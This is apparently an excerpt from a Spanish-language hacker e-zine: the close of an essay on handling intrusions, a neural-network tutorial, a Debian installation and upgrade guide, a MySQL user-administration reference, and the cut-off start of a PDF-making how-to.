  Hay que pensar que la mayoria de gente que realiza estas incursiones,
  son personas jovenes con afan de superacion, (algunos unos
  imbeciles...), que no pueden hacer lo que hacen con su sistema en su
  casa, ya que no todos podemos tener un SUN o similar. Con esto digo
  que   hay que tener paciencia y no fastidiar a una persona por un simple
  escaneo que no significa nada de nada.  Esto no significa que este a
  favor o en contra de las incursiones a un sistema, por si se puede mal
  interpretar, cada uno haga lo que crea conveniente. Y repito que de una
  incursion a un sistema se aprende mucho si sabes aprovecharla, te juegas
  el puesto de trabajo o un buen puro del director general, pero si sabes
  solucionar pronto los problemas, no deberias tener problemas, si estas
  atento a todo lo que tienes en tu sistema y a los posibles fallos de
  seguridad que esten a orden del dia, no deberia tener ningun problema.

  Lo mas importante aun, es conocer tu sistema 100 %, te ayudaria mucho
  hacer sucesivos volcados de todos los ficheros del sistema a un fichero
  y guardarlo en un disco o soporte magnetico, y cada semana hacer lo mismo
  y comparar las diferencias que haya en uno y otro, para ver si hay
  ficheros que no sean de tu agrado. Tener apuntado los programas que
  instalas en el sistema tambien son una buena idea. Concienciar al usuario,
  una ardua tarea, pero tambien muy importante...

  Para finalizar decir que cada uno se tiene que dedicar a lo que mas le
  gusta y a lo que es... no todos podemos ser profesionales en todos los
  campos, conque cada uno que se dedique a lo que sabe, administradores a
  administrar, consultores de seguridad a la seguridad.


  |balrog| - balrog@undersec.com


-[ 4x11.txt ]----------------------------------------------------------------
-[ Redes Neuronales ]---------------------------------------------[ ^Jess^ ]-
---------------------------------------------------------[ jess@otv.org.ve ]-

  INTRODUCCION

  Este texto fue escrito de una recopilacion de mis actuales
  investigaciones, el cual son las REDES NEURONALES. Una teoria bastante
  antigua que hoy en dia esta de _moda_, ya que la mayoria de los sistema
  que traran de emular al ser humano para hacer sus procesos distrubuidos
  utilizan los algoritmos de auto aprendizaje. Espero que les guste y
  cualquier duda, pregunta y/o sugerencia la pueden hacer via e-mail.


  QUE ES UNA RED NEURONAL

  De la forma mas sencilla, es un grupo de nodos que tratan de aprender
  por si solo trabajando con algoritmos inteligentes de auto aprendizaje
  de la forma _tipo_de_experiencia. Un ejemplo de esto es la programacion
  de robots, con esto se quiere que el robot aprenda a diferenciar que
  es bueno para el y que no. Para ello se usa una forma de supuestas
  vivencias programadas con anterioridad o no y asi el poder conseguir
  la respuesta mas eficaz para la resolucion de X problema.


  EVOLUCION HISTORICA DE LAS REDES NEURONALES

  1920.- Petrovich Paulov define su teoria del condicionamiento.

  1943.- El Primer modelo de red neuronal fue propuesto por Warren McCulloch
         y Walter Pitts en terminos de un modelo computacional de "actividad
         nerviosa".

  1949.- Donald Hebb publica el libro "Origanization of Behavior". New York:
         Science Editions.

  1950.- Se producen las primeras RNA implementadas en circuitos electronicos.

  1957.- Frank Rosenblatt presento el Perceptron, una red neuronal con
         aprendizaje supervisado cuya regla de aprendizaje era una
         modificacion de la propuesta por Hebb.

  1960.- Se propusieron otros dos modelos, tambien supervisados, basados en
         el Perceptron de Rosenblatt denominados Adaline y Madaline.

  1962.- F. Rosenblatt publica el libro "Principles of Neurodinamics" New
         York: Spartan Books, presentando las bases del Perceptron.

  1969.- M. Minsky y S. Papert publicaron "Perceptrones", Cambridge MA: MIT
         Press.

  1986.- D. E. Rumelhart, G. E. Hinton y R. J. Willians publican "Learning
         internal representations by error propagations" en Paralell
         Distributed Procesing. Vol. 1 pp. 318-62. Cambridge MA: MIT
         Press.

  La era moderna de las redes neuronales artificiales surge con la tecnica
  de aprendizaje de propagacion hacia atras o Back Propagation. 


  CLASIFICACION DE LAS REDES NEURONALES

  Una red neuronal se simula de acuerdo al conocimiento que se tiene de la
  estructura del cerebro, por lo que podemos decir que la implementacion de
  una neurona es un modelo basico llamado nodo.

  La neurona adaptativa es el elemento basico constituyente de la mayoria de
  las redes neuronales artificiales conocida tambien como perceptron o
  Adaline estando conformada por los siguientes elementos:

  * Un punto de suma de entradas ponderadas.
  * Una funci¢n de activacion no lineal.
  * Una regla de entrenamiento o aprendizaje.


  NEURONA COMO ELEMENTO ADAPTATIVO

  Ver Dib1.gif y Dib2.gif


  CLASIFICACION PRESENTADA POR HUNT, SBARBAR, ZBIKOWSKI, GAUTHROP.

  Modelo modificado donde se considera que los elementos de procesamiento
  estan formado por:

  * Un punto de sumas ponderadas.
  * Un SDL de una entrada y una salida (UEUS).
  * Una funcion no lineal estaticas.

  Ver Dib3.gif

  La clasificacion va a depender de la seleccion del sistema lineal y pueden
  ser redes neuronales estaticas y dinamicas.

    n                                     n
  Vi(t) = Aij (t) Yj (t) + bik(t) Uk (t) +Wi
	J=1                     k=1
  A= ([Aij ....Ain )[  )T  Y=(Y1.....Yn)   B(bi.....bim)
  V=AY(t)+BU(t) W

  El sistema dinamico lineal lo podemos expresar por medio de la FT:

  Xi(s)= H(S) Vi(s)

  Usando esta ecuacion

  Xi(t)= h(t-y) Vi(t)dy

  H(t) y h(t) representa una funcion temporal y su transformada de laplace.


  CLASIFICACION DE SIRA RAMIREZ, ZOK Y COLINA MORLES Y MORT.

  Las redes operan con entradas continuas o entradas discretas en el tiempo,
  ambiente supervisado que permite entrenamiento adaptativo en linea.
  Topologia de multiples capas de perceptrones cuyos pesos son variantes en
  el tiempo.

  Ver Dib4.gif


  FUNCIONES DE ACTIVACION

  1                        Sigmoidal              
  F(salida)=
                  1+ e-salida                              
                         1 - e -salida 

  Tanh(salida)=   Tangente hiperbolica
                       1+ e -salida  
	         1 si salida >=0

  Salida Y =  Bipolar
                     1 si salida < 0

  Salida Y = Salida Lineal
                      0 si salida < 0

  Salida Y =  Salida si 0<= salida <= 1     Lineal saturada
                       1 si salida > 1



  ARQUITECTURA DE LAS REDES NEURONALES

  Tres de las redes neuronales mas populares son las redes Perceptronicas
  multicapa, las redes de Hopfield y los mapas autoorganizables de Kohonen.

  Existen varias otras estructuras de redes neuronales apropiadas para una
  variedad de problemas ingenieriles que van desde operaciones con patrones
  -(clasificacion, comparacion, y completacion)- hasta filtraje de ruido,
  optimizacion y control.


  REDES PERCEPTORICAS

  El Perceptron trabaja con patrones de entrada binarios, y su
  funcionamiento, por tratarse de una red supervisada, se realiza en dos
  fases: una primera en la que se presentan las entradas y la salidas
  deseadas; en esta fase la red aprende la salida que debe dar para cada
  entrada. La principal aportacion del Perceptron es que la adaptacion de
  los pesos se realiza teniendo en cuenta el error entre la salida que da
  la red y la salida que se desea. En la fase siguiente, de operaci¢n, la
  red ®es capaz¯ de responder adecuadamente cuando se le vuelven a presentar
  los patrones de entrada.

  La estructura de estas redes consta de dos capas: una capa primera formada
  por unidades que dejan pasar la entrada y que no tienen aprendizaje, y una
  segunda capa formada por una o varias neuronas en el caso del Madaline. La
  contribucion de Minsky y Papert fue la de demostrar que una red del tipo
  Perceptron no es capaz de aprender todas las posibles combinaciones entre
  entradas y salidas. La solucion del problema consiste en a~adir capas
  intermedias de neuronas, introduciendo de esta forma el problema de como
  ense¤ar a estas capas intermedias. Aqui es donde tiene importancia el
  algoritmo de propagacion hacia atras.


  ALGORITMO DE PROPAGACION HACIA ATRAS

  Es una generalizacion del algoritmo de minimos cuadrados medios; este
  algoritmo opera minimizando una funcion de costo igual a la diferencia
  media cuadr tica entre las salidas deseadas y las salidas de la red.  El
  algoritmo usa una tecnica de descenso por gradiente. En este se compara
  la salida real con la salida deseada. La diferencia entre ambas constituye
  un error que se propaga hacia atras o Back Propagation desde la capa de
  salida hasta la de entrada permitiendo asi la adaptacion de los pesos de
  las neuronas intermedias mediante una regla de aprendizaje Delta.

  Ver Dib5.gif


  PERCEPTON MULTICAPA

  El Perceptron multicapa son redes de alimentacion adelantada que aceptan
  tanto entradas continuas como binarias, permite encontrar ajustes
  estadisticos altamente no lineales entre grupos de datos Estas redes son
  entrenadas en un ambiente con supervision que puede aceptar aprendizaje
  adaptativo. El entrenamiento estructural es posible cuando son utilizados
  algoritmos de descenso por gradiente. Por otro lado el entrenamiento
  temporal puede ser facilmente implantado usando algoritmos basados en la
  correccion del error.

  En el Perceptron multicapa, la informacion se procesa desde las neuronas
  de entrada, hasta las neuronas denominadas salida. El numero de unidades
  de entrada y de salida esta determinado por el problema que se esta
  tratando. Para cada variable que representa una entrada a la red, existe
  una neurona de entrada, e igualmente, el numero de respuestas que se
  quiere de la red determina el numero de neuronas de salida.

  El aprendizaje en un perceptron es extremadamente sencillo, la capa de
  salida suma todas las entradas ponderadas por sus pesos. Al resultado de
  esa suma se le aplica una funcion escalon dando como resultado 1 si es
  mayor de cero y -1 si es menor de cero.

  Ver Dib6.gif

  Los pesos se actualizan segun la siguiente regla.

  Si la respuesta es correcta: wj(t+1)= wj(t).
  Si la respuesta es -1 debiendo ser 1: wj(t+1)=wj(t) + Xj.
  Si la respuesta es 1 debiendo ser -1: wj(t+1)=wj(t) - Xj.

  Esta es la regla de aprendizaje mas basica de un perceptron, pero tambien
  pueden utilizarse otras reglas que incluyan parametros de velocidad de
  aprendizaje, etc.


  TIPOS DE PERCEPTRON

  Topologicamente, una red neuronal perceptronica multicapa es una
  configuracion en cascada de niveles  de nodos o unidades de procesamiento
  interconectados.

  * El Perceptron basico de dos capas.
  * Perceptron con tres niveles de neuronas.
  * Perceptron con cuatro capas.

  Ver Dib7.gif


  APLICACION DEL PERCEPTON

  El rango de tareas que el Perceptron puede manejar es mucho mayor que
  simples decisiones y reconocimiento de patrones. Por ejemplo, se puede
  entrenar una red para formar el tiempo pasado de los verbos en ingles,
  leer texto en ingles y manuscrito. El Perceptron multicapa (MLP) puede
  ser usado para la prediccion de una serie de datos en el tiempo; tal a
  sido su exito en la medicion de la demanda de gas y electricidad, ademas
  de la prediccion de cambios en el valor de los instrumentos financieros.

  Prediccion de mercados financieros, diagnosticos medicos, el Perceptron
  como una red codificadora, el Perceptron aprende a sumar enteros.

  NETtalk es un Perceptron que es capaz de transformar texto en ingles en
  sonido individual (representaciones foneticas) y la pronunciacion con
  la utilizacion de un sintetizador de voz; cuenta con aproximadamente 300
  nodos de neuronas (siendo 80 en la capa escondida) y 20.000 conexiones
  individuales.


  LAS REDES DE HOPFIELD

  Las redes de Hopfield son redes de adaptacion probabilistica, recurrentes,
  funcionalmente entrarian en la categoria de las memorias autoasociativas,
  que aprenden a reconstruir los patrones de entrada que memorizaron durante
  el entrenamiento. Son arquitecturas de una capa con interconexion total,
  funciones de activacion booleana de umbral (cada unidad puede tomar dos
  estados, 0 o 1, dependiendo de si la estimulacion total recibida supera
  determinado umbral), adaptacion probabilistica de la activacion de las
  unidades, conexiones recurrentes y simetricas, y regla de aprendizaje no
  supervisado. Mientras que las redes en cascada (no recurrentes) dan
  soluciones estables, los modelos recurrentes dan soluciones inestables
  (dinamicas), lo que no siempre es aconsejable. La principal aportacion de
  Hopfield consistio precisamente en conseguir que tales redes recurrentes
  fueran asi mismo estables. Imagino un sistema fisico capaz de operar como
  una memoria autoasociativa, que almacenara informacion y fuera capaz de
  recuperarla aunque la misma se hubiera deteriorado.

  Las redes de Hopfield pueden usarse desde un enfoque psicofisiologico,
  como un modelo sencillo para explicar como ocurren las asociaciones entre
  ideas. Las ideas parciales serian estados de activacion en la zona de
  atraccion de ideas mas generales (puntos fijos o puntos de equilibrio), de
  forma que al introducir la idea parcial se puede llegar a alcanzar la idea
  general.

  A su vez, debido a que las areas de atraccion indican solo una
  probabilidad (generalmente diferente de 1), este modelo permite explicar
  tambien la incertidumbre que se produce en las asociaciones: una idea
  parcial, a pesar de tener alta probabilidad de desembocar en la idea
  general, puede llevar a otras ideas diferentes que tambien actuan como
  puntos de equilibrio.


  Ver Dib8.gif

  Topologicamente esta arreglada en una sola capa que incluye una
  configuracion retroalimentada. Procesan su salida en el tiempo.

  Esta formada por n nodos interconectados entre si a traves de pesos Wij
  fijos y simetricos. La funcion de activacion utilizada es la de umbral
  clasica donde las entradas y las salidas son binarias 1 o -1.


  APLICACIONES DE LAS REDES DE HOPFIELD

  Una posible aplicacion informatica de las redes de Hopfield es el
  desarrollo de memorias direccionadas por contenido: los elementos de la
  memoria no estarian ordenados segun indices numericos, sino segun parte de
  su contenido. En las memorias actuales es necesario conocer la direccion
  de memoria de un dato para poder recuperarlo, mientras que en las memorias
  direccionadas por contenido se pueden recuperar datos completos (puntos de
  equilibrio) a partir de datos parciales (que formen parte de su area de
  atraccion).

  Las redes de Hopfield se han aplicado a campos como la percepcion el
  reconocimiento de imagenes y optimizacion de problemas, mostrando gran
  inmunidad al ruido y robustez. Incluso se han llegado a desarrollar chips
  especificos para este tipo redes. El estudio de las representaciones de
  secuencias temporales es un area de gran interes, con aplicaciones en
  reconocimiento automatico de voces y movimientos.


  REDES AUTO-ORGANIZABLES

  Consiste en la modificacion repetida de conexiones en respuesta a patrones
  de activacion y siguiendo unas reglas preestablecidas, hasta el desarrollo
  final de la estructura o sistema.


  CARACTERISTICAS

  * Sus entradas son se~ales de valores continuos presentados
    secuencialmente en el tiempo.
  * El entrenamiento es un ambiente no supervisado que permite entrenamiento
    estructural.


  REDES DE HAMMING

  Esta compuesta por dos capas, una capa inferior donde se recibe el patron
  de entrada y se calculan los puntos que sean iguales entre si y una capa
  superior o Maxnet, en donde se obtiene la respuesta de la red.

  Ver Dib9.gif


  CARACTERISTICAS

  * Esta red itera hasta que la salida de un unico nodo permanezca positivo. 
  * En este momento es cuando se logra la convergencia y se selecciona la
    clase  del nodo  correspondiente  con  la  salida  positiva.


  REDES DE KOHONEN

  Algoritmos basados en redes neuronales: Simulan las conexiones de las
  neuronas del cerebro humano.

  Ver Dib10.gif


  DEFINICION

  Pertenece a la categoria de las redes competitivas o mapas de
  auto-organizacion, es decir, con aprendizaje no supervisado de tipo
  competitivo. Poseen una arquitectura de dos capas (entrada-salida)
  (una sola capa de conexiones), funciones de activacion lineales y flujo
  de informacion unidireccional (son redes en cascada).

  Una de las cualidades de este tipo de redes es la incorporacion a la regla
  de aprendizaje de cierto grado de sensibilidad con respecto al vecindario
  o historia. Esto hace que el numero de neuronas que no aprenden desaparezca,
  aumentando asi su capacidad de extraer o mapear caracteristicas
  topologicas de los datos.


  CARACTERISTICAS

  Tras el aprendizaje de la red, cada patron de entrada  activara una unica
  unidad de salida. El objetivo de este tipo de redes es clasificar los
  patrones de entrada en grupos de caracteristicas similares, de manera que
  cada grupo activara siempre la(s) misma(s) salida(s).

  Cada grupo de entradas queda representado en los pesos de las conexiones
  de la unidad de salida triunfante. La unidad de salida ganadora para cada
  grupo de entradas no se conoce a priori, es necesario averiguarlo despues
  de entrenar a la red.


  APLICACION

  Una vez entrenada, podemos usar a la red para clasificar patrones de
  entrada similares en el espacio n-dimensional. Una clase o grupo de
  patrones similares tiende a controlar una neurona especifica, que
  representar  el centro de una esfera n-dimensional (de radio unitario,
  pues normalizamos los datos sobre la unidad). Esa neurona resultara la mas
  activada frente a los patrones mas parecidos a su vector de pesos.

  Despues del aprendizaje, la clasificacion consiste en presentar una
  entrada y seleccionar la unidad mas activada, la ganadora, mediante la
  funcion de Distancia utilizada (gana la mas cercana al patron de entrada).

  Ademas, el vector de pesos nos servira para reconstruir el patron de
  entrada.


  ALGORITMO

  Paso 0: Inicializar los pesos. 
          Establecer los parametros para la vecindad topologica elegida. 
          Establecer los parametros de aprendizaje. 
  Paso 1: Mientras la condici¢n de paro sea falso, seguir los pasos 2-8. 
  Paso 2: Para cada vector de entrada x, seguir los pasos 3-5 
  Paso 3: Para cada j calcular: 
          D(j) =  I (wij - xi)2 
  Paso 4: Encontrar el indice J cuya D(J) sea un minimo. 
  Paso 5: Para todas las unidades j con una vecindad especificada de J 
          y para toda I: 

          wij(new) = wij(old) + a [xi - wij(old)].

  Paso 6: Actualizar la razon de aprendizaje. 
  Paso 7: Reducir el radio de la vecindad topologica en el tiempo
          especificado.
  Paso 8: Prueba de paro. Hay formas alternativas para reducir R y a. La
          razon de aprendizaje a decrece lentamente en funcion del tiempo
          (que segun Kohonen pueden decrecer lineal o geometricamente).
          El radio de la vecindad alrededor de una unidad de agrupacion
          puede decrecer progresivamente. El vector de pesos puede tomar
          valores iniciales aleatorios, pero alguna informacion que se
          disponga sobre la distribucion de los clusters puede ayudar a la
          seleccion dependiendo del problema.


  ALGORITMO a-MCM

  El algoritmo a-MCM,tambien conocido como la regla delta de Widrow-Hoff,
  es usado para adaptar los pesos de una neurona mostrada en la figura
  Dib11.gif.

  Observe que en la figura, el error lineal e(k) representa la diferencia
  entre la respuesta deseada Yd y la salida lineal Yo(t). Esto es: 
 
  e(k) = Yd - Yo (k),

  Donde Yo(t) esta definido por:
 
  Yo(k) = WT(k) X(k)
 
  Un cambio en los valores de ponderacion "W" produce a su vez un cambio en
  el error
 
  e(k+1) - e(k) = - (W(k+1)- W(k))T X(k)
 
  Si este cambio de valores de ponderacion es seleccionar como 

  ºX(k)º2
 

  Entonces, la ecuacion resultaria de la siguiente forma:

  ºX(k)º2
 
  Si el patron de entrada X es mantenido constante, el error lineal "e" es
  reducido por un factor "a" cuando los valores de ponderacion son
  adaptados. Para patrones de entrada independiente del tiempo, el valor
  de "a" que garantiza estabilidad de la ecuacion del error debe ser
  seleccionado dentro del intervalo 0<a<2. 

  Observese  que esta escogencia "a" no depende de la magnitud de las
  se~ales de entrada. La actualizacion de los valores de ponderacion es
  colineal con el patron de entrada y de una magnitud inversamente
  proporcional a ºX(k)º2. Este algoritmo tambien opera para entradas
  binarias.
 

  ALGORITMO f-MCM

  En terminos de una red neuronal, el gradienrte de una funcion de error
  cuadratico medio es medido, para asi ajustar los pesos de la red en la
  direccion correspondiente al negativo del gradiente medido. Esto viene
  expresado en la siguiente ecuacion:

  M(k+1)= W(k) + f (-y(k)) , Donde "f" es un parametro que controla la
                             estabilidad y tasa de convergencia y y(k) es
                             el valor del gradiente en un punto sobre la
                             superficie de error cuadratico medio
                             correspondiente a W(k).

  La superficie de error cuadratico medio es de tipo hiperparaboloidal
  convexa y pude ser obtenida en la forma siguiente.

  En la K-esima iteracion, elevando al cuadrado y expandiendo la ecuacion de
  error (e(k) = Yd - Yo (k)) obtenemos:
 
  e2(k) = (Yd -XT(k) W (k))2 = Y2d - 2 Yd XT(k)W(k)+WT(k)X(k)XT(k)W(k)
 
  Ahora promediando la anterior ecuacion sobre todos los patrones tenemos:
 
  E[e2(k)] = E [Yd2] - 2E[YdXT(k)]W(k) + WT(k) E[X(k)XT(k)] W(k) 
 
  Sea P el vector de correlacion entre la respuesta deseada Yd y el vector
  de entrada X, y sea R la matriz de correlacion de la entrada.

  Realizando la diferenciacion de la anterior ecuacion y reeplazando el
  resultado en la ecuacion

  W(k+1)= W(k) + f (-y(k)) obtenemos:

  W(k+1)= W(k) -2fe(k) e(k)

  W(k) = W(k) -2fe(k)X(k)

  Para patrones de entrada independientes del tiempo, la convergencia en el
  sentido de minimos cuadrados de los pesos estan garantizadas si

  0 < f <   1
            traza(R)   
 
  En donde traza de R = S (elementos diagonales de E[XXT])
 
  Entonces decimos que el algoritmo a-MCM como el f-MCM estan basados en
  valores instantaneos del gradiente. El algoritmo a-MCM sin embargo, es
  auto - normalizante; con el parametro "a" determinando la fraccion del
  error instantaneo a ser corregida en cada adaptacion. En el algoritmo
  f-MCM, "f" es un coeficiente constante.


<EOF>





-[ 4x12.txt ]----------------------------------------------------------------
-[ Articulos Varios ]---------------------------------------------[ Varios ]-



[++] 4x12a.txt

                        ---------------------------------------[ 4x12a.txt ]
                        -[ Debian potato / instalacion y upgrade a Sid 101 ]
                        --------[ Maquiavelo - xakermaquiavelo@hotmail.com ]


  Bien, Instalacion comienza... NAO

  1.- Insertar el cd de Debian en el cdrom, y reiniciar booteando desde el
      CD.
  2.- Debian te da la Bienvenida.
  3.- Configura tu Teclado.
  4.- Configura las particiones (activa la swap y la /).

  El resto es mantequilla, PERO:

  5.- Configure Device Driver Modules:

  Busca la red (net) el chipset de tu tarjeta de red: si tengo una Realtek
  8139, activo rlt8139 (o 8139too).

  6.- Si tienes Mouse usb activa usbcore y usbmouse.
  7.- Tarjeta de sonido? (emu10k1 para la soundblaster).
  8.- Make Linux bootable from the hard disk.
  9.- Reboot (saca el CD).

  Te booteara el sistema, ahora le das:

  10.- Usar md5? si ; shadow? si.. tu clave de root... un usuario.... bien!.
  11.- Simple, paquetes? C++, C, Gnome*, X-Window , x-window-system.
  12.- Instala....
  13.- Cuando te diga Have fun! entra como root.
  14.- Apt-get install nano.
  15.- Restoremos windows, cd /etc , nano lilo.conf
  16.- Agrega Prompt despues de la linea que dice Default=Linux (y cambia
       esa linea a Default=Windows).
  17.- Al final de lilo.conf edita other=/dev/hda4 por other=/dev/hd (donde
       esta windows, usualmente hda1) y label=Windows, (recuerda quitarles
       el comentario).
  18.- Ctrl X, yes, y luego escribes lilo (en minusculas).


  Upgrade a Sid:

  19.- Escribe apt-setup, selecciona non us yes, contrib yes, main yes,
       http, http.us.debian.org.
  20.- Dejalo que construya las listas.
  21.- Cuando termine, entra a /etc/apt y le das nano sources.list
  22.- Commenta la linea que dice deb cdrom: , y a las lineas de abajo
       agregales un "un" detras de stable (que diga unstable en vez de
       estable)
  23.- Ctrl X , yes, y luego apt-get update
  24.- Luego le das apt-get dist-upgrade

  Dejalo que se baje :D

  Instalacion de XWindows:

  25.- apt-get install x-window-system
  26.- apt-get remove xdm
  27.- xf86config

  Configura eso como lo que tengas, si tienes una tarjeta geforce y no sale
  en la lista eligue la 320 (Si tienes mouse USB saltate al paso: 33)

  28.- apt-get install enlightenment
  29.- te vas a tu home (cd $HOME) y le das nano .xinitrc
  30.- Agrega la linea "exec enlightenment"
  31.- Ve a /etc/X11 y le das cp XF86Config XF86Config-4
  32.- startx and you good to go!

  Mouse:

  33.- Primero que nada ve que el kernel haya detectado tu mouse
       (dmesg | grep usb)
  34.- Si esta alli, ve a /dev
  35.- mkdir input , cd input
  36.- mknod /dev/input/mice c 13 63
  37.- Devueltete al paso 27 y cuando te diga donde esta el mouse le das
       /dev/input/mice
  38.- Luego de realizar el config, ve a /etc/X11 y dale nano XF86Config-4,
       cambia el driver del mouse (seguramente debe decir algo como
       Intellimouse o ps/2), la cambias por "ImPS/2", ctrl x , yes
  39.- startx (que huevo eres!)


  Kernel:

  40.- Dale apt-get install kernel-source-2.4.17
  41.- apt-get install bin86
  42.- apt-get install libncurses5-dev
  43.- Entra a /usr/src
  44.- bunzip2 kernel-source...algo.2.4.17
  45.- tar xvf kernel-source...algo.2.4.17
  46.- cd kernel-source...algo.2.4.17
  47.- Make menuconfig

  Bien, eligue las opciones como tengas tu computadora, Si no tienes SCSI,
  desactiva scsi, si tienes mouse usb, asegurate de seleccionar Input Core y
  luego en USB (Human interfaces) usbmouse, no te olvides de tu tarjeta de
  red, ni de tu tarjeta de sonido!

  48.- Guardar la configuracion? yes.
  49.- Escribe esto asi como te lo doy: "make dep && make bzlilo &&
       make modules && make modules_install && init 6"
  50.- Reiniciara, si algo malo pasa, o te pelastes algo, siempre puedes
       volver al paso 40, o seleccionar LinuxOLD en el menu de LILO.

  Nvidia:

  51.- Bajate los mas nuevos drivers de la pagina de nvidia (en formato
       .tar.gz)
  52.- Descomprimelos (vas a hacer lo mismo para los dos): tar zxvf
       nvidia(glx y kernel).tar.gz
  53.- cd Nvidia(glx y kernel)
  54.- make
  55.- Una vez listos, ve a /etc/X11/ y dale nano XF86Config-4
  56.- Dale Ctrl W y escribe NV
  57.- Cambia nv por nvidia
  58.- Busca la linea que dice load "glx" y descomentala (esta comentada)
  59.- Si tienes un mouse con ruedita, ve a la seccion del mouse y justo debajo del driver (ImPS/2 si es usb recuerdalo!) escribe:

  Option "ZAxisMapping 4 5"

  60.- Ctrl X, yes, startx

  Enjoy ;D


  Sonido:

  61.- Bueno, primero que nada mira a ver si tienes la tarjeta de sonido
       detectada (dmesg | grep emuk10k1 , o el chipset que es en mi caso es
       cs4281)
  62.- Ve a /dev/
  63.- chmod 666 /dev/dsp
  64.- Listo
  65.- Salchichas y rock and roll

  Bueno, creo que lo he abarcado todo, si crees que deberia poner algo mas,
  contactame:

  xakermaquiavelo@hotmail.com

  Happy Debian

  Saludos a mis perras: yoyo, lordark, ernex, morph, cocho, dick ;D, y a mi
  no tan perras: devil, andrux, mindlock, lite, zykl0n :D!


<EOF>


[--]


[++] 4x12b.txt


                                  -----------------------------[ 4x12b.txt ]
                                  -------[ Administracion rapida del MySQL ]
                                  ---[ Mr. kl0nk Manson - kl0nk@otv.org.ve ]
				  


  Introduccion
  ------------

  Esta es una referencia rapida para adminstar un servidor que corra como
  Servidor de base de Datos el MySQL, esto lo escribi porque muchas personas
  me ha preguntado como crear usuarios nuevos con X, Y, Z privilegios para
  no utilizar el root.


  Agregar Nuevos Usuarios (Sin Privilegios de r00t):
  --------------------------------------------------

  1. Entar como root al MySQL, ejp:

  [root@pleyades pipiparao] mysql -uroot -pTU_HAXOR_PASSWD -hlocalhost mysql

  MySQL es la database central del MySQL, en ella hay dos tablas que son
  las vitales, ella son Db y User.
  
  mysql> INSERT INTO user (Host,User,Password) VALUES('localhost','
         NUEVO_USUARIO',PASSWORD('PASSWD_NUEVO_USER'));
  mysql> INSERT INTO user (Host,User,Password) VALUES('%','NUEVO_USUARIO',
         PASSWORD('PASSWD_NUEVO_USER'));
  mysql> INSERT INTO db (Host,Db,User,Select_priv,Insert_priv,Update_priv,
         Delete_priv,Create_priv,Drop_priv) VALUES ('localhost','
         NOMBRE_DATABASE','NUEVO_USUARIO','Y','Y','Y','Y','Y','Y');
  mysql> INSERT INTO db (Host,Db,User,Select_priv,Insert_priv,Update_priv,
         Delete_priv,Create_priv,Drop_priv) VALUES ('%','NOMBRE_DATABASE',
         'NUEVO_USUARIO','Y','Y','Y','Y','Y','Y');
  mysql> FLUSH PRIVILEGES;
  
  Con eso vas a agregar un nuevo usuario llamado NUEVO_USUARIO, con 
  password: PASSWD_NUEVO_USER , hay que tener en cuenta que por alli aparece
  localhost y %, en el caso de localhost significa que las conexiones a la
  base de datos solo se haran desde el localhost, si alguien desde afuera con
  hostname h4x0r.31337_Kr3w.0s4m4.b1n.l4m3r.4ss nunca podra hacer conexiones
  remotas con algun cliente del MySQL o Front End (Security 99%); el %
  indica  que cualquier perro en internet se puede conectar a tu database y
  jugar con ella como le de la gana. Tambien puedes agregar IP para darle
  acceso a los X's persona que necesitan tener acceso a la db pero lo
  recomendable es solo ejecutar para agregar usuarios:

  mysql> INSERT INTO user (Host,User,Password) VALUES('localhost','
         NUEVO_USUARIO',PASSWORD('PASSWD_NUEVO_USER'));
  mysql> INSERT INTO db (Host,Db,User,Select_priv,Insert_priv,Update_priv,
         Delete_priv,Create_priv,Drop_priv) VALUES ('localhost','
         NOMBRE_DATABASE','NUEVO_USUARIO','Y','Y','Y','Y','Y','Y');
  mysql> FLUSH PRIVILEGES;
   
  Tambien hay que tener en cuenta que tienes que crear la database que al 
  NUEVO_USUARIO, se hace con el siguiente comando:

  [root@pleyades pipiparao] mysqladmin -uroot -pTU_HAXOR_PASSWD -hlocalhost
  create NOMBRE_DATABASE
  
  Para meter la estructura de un archivo .sql a tu NOMBRE_DATABASE se hace asi:
  
  [root@pleyades pipiparao] mysql -uroot -pTU_HAXOR_PASSWD -hlocalhost NOMBRE_DATABASE < archivo.sql
  

  Agregar Nuevos Usuarios (Con Privilegios de r00t):
  ---------------------------------------------------

  [root@pleyades pipiparao] mysql -uroot -pTU_HAXOR_PASSWD -hlocalhost mysql 

  mysql> INSERT INTO user VALUES('localhost','kl0nk',PASSWORD('31137'),
  'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');

  mysql> INSERT INTO user VALUES('%','kl0nk',PASSWORD('31137'),
  'Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y','Y');

  mysql> INSERT INTO user SET Host='localhost',User='admin',
  Reload_priv='Y', Process_priv='Y';

  mysql> FLUSH PRIVILEGES;
  

  Cambiando Password:  
  -------------------

  Es lo mas facil del mundo, simplemente le pasa dos parametros, el hostname
  y el username, se hace asi:
  
  mysql > UPDATE user SET Password='NUEVO_PASSWD' where User='USUARIO' and
  Host='localhost';
  
  Donde USUARIO es el usuario a cambiar el Passwd.
  
  
  Borrando Usuarios y otras Plastas:  
  ----------------------------------

  Es casi la mismo que la actualizacion pero se hace con la sentencia
  DELETE:

  mysql > DELETE FROM db where User='USUARIO' and Db='DATABASE_A_BORRAR'
  and Host='localhost';

  mysql > DELETE FROM user where User='USUARIO' and Host='localhost';
  
  
  Siempre hay que borrar primero la database  del usuario y luego el
  usuario, ya que podria a ver una colicion en el momento del BORRADO.

  Donde USUARIO es el usuario a borrar.


  Porque agregar/modificar/borrar usuarios en el servidor del nuestra DB
  -----------------------------------------------------------------------

  Es algo de logica, imaginate de que alguien se apodere de el password del
  root del servidor de nuestra base de datos, el tendra el acceso total
  al sistema y a las otras base de datos de los usuarios, ademas cualquier
  persona que se le asigne el login root y su password podria destruir la
  informacion de lo demas usuarios, poreso siempre es recomendable
  agregar nuevos usuarios con ciertos privilegios y asi se evitan un dolor
  de cabeza.

  Tambien es recomendable hacer un backup (por lo menos diario) de nuestra
  databse proque uno nuca sabe cuando se puede da~ar nuestro sistema. Para
  hacer una copia de seguridad se utiliza el siguiente comando:

  > mysqldump -hlocalhost -uUSUARIO -pPASSWORD_USUARIO Nombre_De_la_DB >
  backup.sql


  Espero que les sirva de algo, adjunto (en la seccion de Software) les dejo
  un script que yo hice en PHP para administrar un servidor de DB con MySQL.

  Nos vemos en el espejo.

  --Mr. kl0nk Manson
  


[--]


[++] 4x12c.txt



                                  -----------------------------[ 4x12c.txt ]
                                  --[ Como crear PDF's facilmente y gratis ]
                                  ---------[ SaTmAnN - satmann@eresmas.com ]


  --- Preparacion ---

  1.- Abre la direccion http://www.webxd.com/zipguy/frpdfdl.htm , cuando se
